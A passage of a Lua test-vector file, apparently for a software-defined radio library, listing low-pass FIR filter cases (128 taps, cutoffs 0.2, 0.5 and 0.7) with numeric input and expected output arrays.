0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
outputs = {radio.types.ComplexFloat32.vector_from_array({{0.00000000, 0.00000000}, {-0.00005747, 0.00005461}, {-0.00006629, 0.00006388}, {0.00001093, -0.00001733}, {0.00015973, -0.00009889}, {0.00019856, -0.00020724}, {0.00013211, -0.00025143}, {0.00001369, -0.00020228}, {-0.00014869, 0.00006743}, {-0.00034801, 0.00056303}, {-0.00038958, 0.00088512}, {-0.00028190, 0.00073136}, {0.00005936, 0.00003136}, {0.00044973, -0.00091680}, {0.00060209, -0.00159516}, {0.00043152, -0.00146301}, {0.00000645, -0.00041089}, {-0.00045300, 0.00116462}, {-0.00066789, 0.00238165}, {-0.00038927, 0.00250518}, {0.00027595, 0.00123529}, {0.00096965, -0.00086349}, {0.00107567, -0.00278868}, {0.00039901, -0.00343353}, {-0.00070402, -0.00230146}, {-0.00157447, 0.00023724}, {-0.00170020, 0.00297466}, {-0.00082419, 0.00447111}, {0.00068142, 0.00371268}, {0.00193614, 0.00072917}, {0.00226012, -0.00314084}, {0.00131983, -0.00581743}, {-0.00044792, -0.00557615}, {-0.00215905, -0.00215664}, {-0.00285270, 0.00299591}, {-0.00202893, 0.00717852}, {0.00001770, 0.00781081}, {0.00221796, 0.00412926}, {0.00350284, -0.00232454}, {0.00306620, -0.00835845}, {0.00093001, -0.01045594}, {-0.00193320, -0.00694072}, {-0.00406484, 0.00088671}, {-0.00432062, 0.00931521}, {-0.00238905, 0.01371215}, {0.00093170, 0.01104723}, {0.00421222, 0.00168886}, {0.00582723, -0.01005206}, {0.00473434, -0.01792555}, {0.00102538, -0.01694772}, {-0.00395824, -0.00625879}, {-0.00805330, 0.00989347}, {-0.00891661, 0.02341042}, {-0.00526373, 0.02624604}, {0.00221149, 0.01464282}, {0.01076333, -0.00802532}, {0.01633848, -0.03171664}, {0.01493225, -0.04347544}, {0.00445255, -0.03308103}, {-0.01403924, 0.00147214}, {-0.03653670, 0.05133886}, {-0.05730007, 0.09868020}, {-0.07028046, 0.12256943}, {-0.07090434, 0.10728880}, {-0.05415607, 0.04677973}, {-0.02382399, -0.04458326}, {0.01341862, -0.13998319}, {0.05433674, -0.21748917}, {0.09702425, -0.25326371}, {0.13205083, -0.23783538}, {0.14373237, -0.18178736}, {0.12559366, -0.11182375}, {0.07462130, -0.06349745}, {-0.01587718, -0.05129302}, {-0.13815911, -0.08025780}, {-0.27523458, -0.14935176}, {-0.40148443, -0.24288155}, {-0.47805834, -0.33765015}, {-0.48155147, -0.41072088}, {-0.40275162, -0.44199884}, {-0.24782701, -0.41864812}, {-0.04376763, -0.33780429}, {0.16563916, -0.21201380}, {0.33858123, -0.06516148}, {0.44598681, 0.07282419}, {0.48147151, 0.17628597}, {0.45291528, 0.23209493}, {0.37082675, 0.23854271}, {0.25868154, 0.20772466}, {0.14652207, 0.15790692}, {0.05154826, 0.10816483}, {-0.02016010, 0.07295602}, {-0.06292599, 0.06044184}, {-0.08694790, 0.06211121}, {-0.10181471, 0.05823104}, {-0.11077358, 0.03278586}, {-0.11355495, -0.01434677}, {-0.10250634, -0.06960460}, {-0.07312249, -0.10848614}, {-0.02419419, -0.10307670}, {0.04236538, -0.04991055}, {0.11072684, 0.03212861}, {0.16640772, 0.11810795}, {0.20779887, 0.17239827}, {0.23465882, 0.17199761}, {0.25425714, 0.12594453}, {0.28175202, 0.05564364}, {0.32693633, -0.00430240}, {0.38639972, -0.01868646}, {0.43770558, 0.02630127}, {0.45095757, 0.10868327}, {0.40657631, 0.18103108}, {0.29948857, 0.20309709}, {0.14633735, 0.15385526}, {-0.01805710, 0.03858741}, {-0.16059060, -0.10070102}, {-0.25661701, -0.20420344}, {-0.28785089, -0.22489369}, {-0.25447568, -0.14631635}, {-0.17447604, 0.00758448}, {-0.07097555, 0.18288741}, {0.02669108, 0.30736685}, {0.08084946, 0.31955382}, {0.06840075, 0.20019171}, {-0.00459189, -0.01986582}, {-0.11915149, -0.26671141}, {-0.24534175, -0.45765814}, {-0.35514098, -0.54153126}, {-0.42808172, -0.51212865}, {-0.45217410, -0.39770383}, {-0.43429902, -0.25233996}, {-0.39143077, -0.13386533}, {-0.35117540, -0.07667480}, {-0.33279538, -0.08407833}, {-0.33834511, -0.12714350}, {-0.36545646, -0.16084920}, {-0.40293938, -0.15344207}, {-0.43500564, -0.09039686}, {-0.44971877, 0.01796863}, {-0.43227312, 0.14280798}, {-0.37868637, 0.24933797}, {-0.30188200, 0.30705199}, {-0.22563300, 0.31464922}, {-0.16987163, 0.28863537}, {-0.14770125, 0.25887561}, {-0.15944509, 0.25306061}, {-0.19043759, 0.27741393}, {-0.22268258, 0.31693575}, {-0.23199175, 0.34405270}, {-0.20540695, 0.32624525}, {-0.13321286, 0.24426796}, {-0.00902163, 0.10900081}, {0.14962007, -0.04070065}, {0.31504360, -0.15328784}, {0.44829375, -0.19307671}, {0.50639278, -0.16000545}, {0.46543169, -0.07210518}, {0.32051551, 0.03691503}, {0.09336258, 0.12615654}, {-0.16388516, 0.17098057}, {-0.38561913, 0.15622248}, {-0.51491231, 0.08816420}, {-0.51480722, -0.01160904}, {-0.38145867, -0.11362765}, {-0.15043052, -0.18504943}, {0.11268739, -0.19477497}, {0.33994469, -0.12861237}, {0.47431445, -0.00588278}, {0.48832312, 0.14188272}, {0.39597329, 0.27161607}, {0.23720573, 0.34194282}, {0.07462582, 0.32855159}, {-0.02609660, 0.22557065}, {-0.02300538, 0.06060829}, {0.08263156, -0.11040168}, {0.24060462, -0.23059160}, {0.37910303, -0.26586846}, {0.43785995, -0.20713112}, {0.38714299, -0.07226328}, {0.23202863, 0.09167612}, {0.00950606, 0.22664495}, {-0.20892605, 0.29179478}, {-0.35152012, 0.27784291}, {-0.37739268, 0.19355185}, {-0.28840455, 0.06596785}, {-0.11663782, -0.05935283}, {0.08654262, -0.14326109}, {0.26309630, -0.17036164}, {0.37404490, -0.15498132}, {0.39319804, -0.13332938}, {0.31591493, -0.13932993}, {0.17378676, -0.18750182}, {0.00738259, -0.25836453}, {-0.14690222, -0.30845246}, {-0.25512856, -0.30300072}, {-0.30393115, -0.21609862}, {-0.31281665, -0.04733298}, {-0.30561784, 0.16398489}, {-0.29836321, 0.34912473}, {-0.30343792, 0.43463245}, {-0.31966165, 0.37914339}, {-0.33569789, 0.19438134}, {-0.32282051, -0.06352275}, {-0.24980843, -0.31821704}, {-0.10830162, -0.48629332}, {0.07571771, -0.51501143}, {0.25945830, -0.40667239}, {0.40327054, -0.20577897}, {0.46678889, 0.00716051}, {0.42863080, 0.15562156}, {0.30855760, 0.19481073}, {0.14579764, 0.11815999}, {-0.01156132, -0.03300273}, {-0.10910366, -0.18954636}, {-0.11623070, -0.28067169}, {-0.03521116, -0.26688111}, {0.09529680, -0.15845217}, {0.22203389, -0.00835482}, {0.29962969, 0.11421385}, {0.30176196, 0.15099747}, {0.22645685, 0.07144801}, {0.08289558, -0.10372435}, {-0.09864219, -0.31080008}, {-0.27685902, -0.47401440}, {-0.41417271, -0.52487975}, {-0.48122093, -0.43644467}, {-0.46932182, -0.23895696}, {-0.38151696, -0.00792515}, {-0.23341437, 0.16881311}, {-0.05488728, 0.23008883}, {0.12631993, 0.16455856}, {0.28275168, 0.01180740}, {0.39232749, -0.16329533}, {0.45292261, -0.30302173}, {0.47446880, -0.36285451}, {0.47590965, -0.32644755}, {0.46711862, -0.21679415}, {0.44685939, -0.07783002}, {0.41746342, 0.04125601}, {0.38506836, 0.09838114}, {0.35150367, 0.07994735}, {0.31436062, 0.01092086}, {0.27866152, -0.06354917}, {0.25256026, -0.10650418}, {0.23732375, -0.11330346}, {0.23054276, -0.09958181}, {0.22154601, -0.09762020}, {0.19789451, -0.13982409}, {0.15358968, -0.23355676}, {0.08863439, -0.36353126}, {0.01316355, -0.49447474}, {-0.06508352, -0.59066802}, {-0.13551021, -0.62562114}, {-0.18146034, -0.58904666}, {-0.18908392, -0.49511659}, {-0.16024870, -0.37173349}})}
},
{
desc = "128 taps, 0.2 cutoff, 256 Float32 input, 256 Float32 output",
args = {128, 0.2},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({-0.00007937, -0.00029230, -0.00064858, -0.00078844, -0.00050589, 0.00022602, 0.00105872, 0.00148998, 0.00170067, 0.00107670, 0.00013036, -0.00120520, -0.00209101, -0.00201165, -0.00132412, -0.00004420, 0.00174949, 0.00316793, 0.00341225, 0.00194638, -0.00058355, -0.00340957, -0.00540608, -0.00524725, -0.00290594, 0.00122606, 0.00578825, 0.00877094, 0.00850905, 0.00479576, -0.00153476, -0.00820546, -0.01246113, -0.01224076, -0.00669856, 0.00260671, 0.01253318, 0.01879845, 0.01828682, 0.01009967, -0.00345220, -0.01766512, -0.02679447, -0.02621604, -0.01435379, 0.00557772, 0.02629015, 0.03915323, 0.03811508, 0.02083966, -0.00820683, -0.03933932, -0.05960949, -0.05855708, -0.03264158, 0.01276576, 0.06355875, 0.09956229, 0.10242947, 0.06081897, -0.02479834, -0.13990921, -0.25842288, -0.34997246, -0.38787135, -0.35617507, -0.25428268, -0.09859786, 0.08355404, 0.26103792, 0.40507734, 0.49672604, 0.52929348, 0.50696546, 0.44032344, 0.34309402, 0.22681600, 0.10019887, -0.03022846, -0.15607233, -0.26615915, -0.34461388, -0.37466535, -0.34197745, -0.24208471, -0.08440924, 0.10772312, 0.30079386, 0.45737782, 0.54743278, 0.55583209, 0.48946929, 0.37352705, 0.24624884, 0.14820491, 0.11038180, 0.14497469, 0.24199887, 0.37377211, 0.50176132, 0.59002769, 0.61336672, 0.56625801, 0.46175206, 0.32729813, 0.19530198, 0.09377484, 0.03740666, 0.02538751, 0.04319625, 0.06766735, 0.07686317, 0.05601398, 0.00380279, -0.06901008, -0.14300929, -0.19613920, -0.21069059, -0.17929657, -0.10720158, -0.01010304, 0.08944323, 0.16875507, 0.20989691, 0.20365502, 0.15251479, 0.06938581, -0.02699299, -0.11589539, -0.17990236, -0.20785074, -0.19644211, -0.15122323, -0.08269280, -0.00580055, 0.06522625, 0.11817927, 0.14631829, 0.14737728, 0.12515712, 0.08664235, 0.04053724, -0.00331368, -0.03725047, -0.05433752, -0.05020774, -0.02294331, 0.02590970, 0.09061529, 0.16184837, 0.22879605, 0.27840191, 0.29936299, 0.28485364, 0.23543434, 0.16019809, 0.07490116, 0.00039644, -0.04334065, -0.04304840, 0.00488443, 0.08965719, 0.19004169, 0.27880287, 0.32841200, 0.32111526, 0.25226802, 0.13409187, -0.00792523, -0.14139865, -0.23638737, -0.27219015, -0.24370095, -0.16408485, -0.05952265, 0.03591767, 0.09009478, 0.08239754, 0.00795009, -0.12095147, -0.27814800, -0.42866898, -0.53821701, -0.58121306, -0.54554981, -0.43497863, -0.26965892, -0.07906020, 0.10397790, 0.24990547, 0.33664885, 0.35545775, 0.31079677, 0.21730497, 0.09640795, -0.02858140, -0.13834785, -0.22087732, -0.27136058, -0.29194769, -0.28975964, -0.27125973, -0.24047425, -0.19867395, -0.14365309, -0.07344245, 0.01062773, 0.10226735, 0.18928289, 0.25758198, 0.29443556, 0.29322222, 0.25777635, 0.20304579, 0.15059741, 0.12138181, 0.13019235, 0.17763725, 0.24752390, 0.31129333, 0.33670130, 0.29719466, 0.18319902, 0.00761328, -0.19539565, -0.37962356, -0.49891353, -0.52219504, -0.44425258, -0.28936893, -0.10604712, 0.04771166, 0.12007087, 0.08153295, -0.06475683, -0.28175226, -0.51070231, -0.68629760, -0.75548148, -0.69304049, -0.50800949, -0.24140413, 0.04669739, 0.29413351, 0.45344171, 0.50344288, 0.45297930, 0.33529872, 0.19596590, 0.07739174, 0.00715164, -0.00916373, 0.01383910, 0.04735539, 0.06116479, 0.03584504})}
},
{
desc = "128 taps, 0.5 cutoff, 256 Float32 input, 256 Float32 output",
args = {128, 0.5},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({0.00006948, 0.00023910, 0.00037967, 0.00015834, -0.00033047, -0.00043364, -0.00003776, 0.00026650, -0.00027532, -0.00056867, 0.00015286, 0.00050986, -0.00028905, -0.00103478, 0.00017578, 0.00150155, -0.00010411, -0.00183715, 0.00020502, 0.00254046, 0.00011114, -0.00289566, -0.00001342, 0.00332708, -0.00022541, -0.00421454, -0.00015562, 0.00469416, 0.00006818, -0.00580783, -0.00036052, 0.00677444, 0.00031057, -0.00808475, -0.00046421, 0.00939895, 0.00029949, -0.01146082, -0.00082581, 0.01299629, 0.00068835, -0.01536242, -0.00085670, 0.01800480, 0.00105970, -0.02111590, -0.00146591, 0.02450792, 0.00161433, -0.02844785, -0.00165081, 0.03315129, 0.00181731, -0.03856718, -0.00154502, 0.04503501, 0.00059236, -0.05252575, 0.00188962, 0.06129417, -0.00746549, -0.06902221, 0.01862274, -0.00353743, -0.43331236, -0.92468131, -0.79187912, -0.04021908, 0.56319326, 0.59182882, 0.44491044, 0.49110237, 0.48153895, 0.22783709, 0.12709233, 0.42700082, 0.60951293, 0.20028266, -0.34062731, -0.31239596, 0.05884538, -0.00218754, -0.52558160, -0.76094514, -0.38018745, 0.10947398, 0.25894460, 0.26873121, 0.44995499, 0.65596247, 0.58885074, 0.32167259, 0.18794960, 0.30051592, 0.41602618, 0.28107309, -0.00054586, -0.05113168, 0.28132895, 0.66035253, 0.70906609, 0.56777185, 0.61256278, 0.72291118, 0.42129168, -0.20062074, -0.40023434, 0.08856562, 0.54250348, 0.33294013, -0.11540470, -0.09509789, 0.19768341, 0.06749758, -0.42187622, -0.50714910, 0.00359862, 0.38375640, 0.10437220, -0.40776846, -0.46694365, -0.06065895, 0.31758344, 0.41187757, 0.34743413, 0.22482903, 0.00732962, -0.21975012, -0.25580391, -0.12037522, -0.07597881, -0.20214330, -0.23174898, -0.00201511, 0.21187608, 0.10370249, -0.14906244, -0.14136134, 0.13257961, 0.32298803, 0.29656854, 0.20797910, 0.06611043, -0.23853581, -0.47018203, -0.22471860, 0.31330782, 0.44693285, 0.03140674, -0.21881759, 0.15198097, 0.60167921, 0.48773590, 0.07384106, -0.01643436, 0.15697615, 0.11855204, -0.07003625, 0.04015971, 0.35320422, 0.29040340, -0.18324968, -0.38815072, 0.02506298, 0.54597956, 0.61365050, 0.37838349, 0.24924052, 0.15250334, -0.20912731, -0.63739622, -0.61037874, -0.13639577, 0.17217837, 0.02702661, -0.10549395, 0.15652408, 0.37887466, 0.01443393, -0.56469285, -0.56844318, -0.14139763, -0.20194708, -0.83418369, -0.97225058, -0.15399566, 0.52856851, 0.08593319, -0.70844883, -0.48497176, 0.55968356, 1.02318621, 0.49110153, -0.04517892, 0.03327906, 0.15513532, -0.17061503, -0.48304442, -0.31534243, -0.05683269, -0.21522081, -0.52756935, -0.45200586, -0.04313519, 0.22495988, 0.15486448, -0.08187789, -0.25151333, -0.16084597, 0.22847441, 0.59711164, 0.54930961, 0.21351315, 0.10108995, 0.27126852, 0.24712734, -0.07609796, -0.15895584, 0.24296509, 0.59188414, 0.46034941, 0.20367384, 0.19860242, 0.12801275, -0.30660132, -0.63716203, -0.41431254, -0.13475984, -0.42746398, -0.80867118, -0.38076347, 0.52747965, 0.68564421, -0.10970059, -0.70787638, -0.43702948, -0.04389573, -0.32341108, -0.88790613, -0.98314399, -0.64715463, -0.29924580, 0.08922100, 0.60278511, 0.78574425, 0.33264917, -0.12127704, 0.15235774, 0.71365374, 0.56336087, -0.22258750, -0.56814873, -0.09259445, 0.37810683, 0.22665647, -0.08194816})}
},
{
desc = "128 taps, 0.7 cutoff, 256 Float32 input, 256 Float32 output",
args = {128, 0.7},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 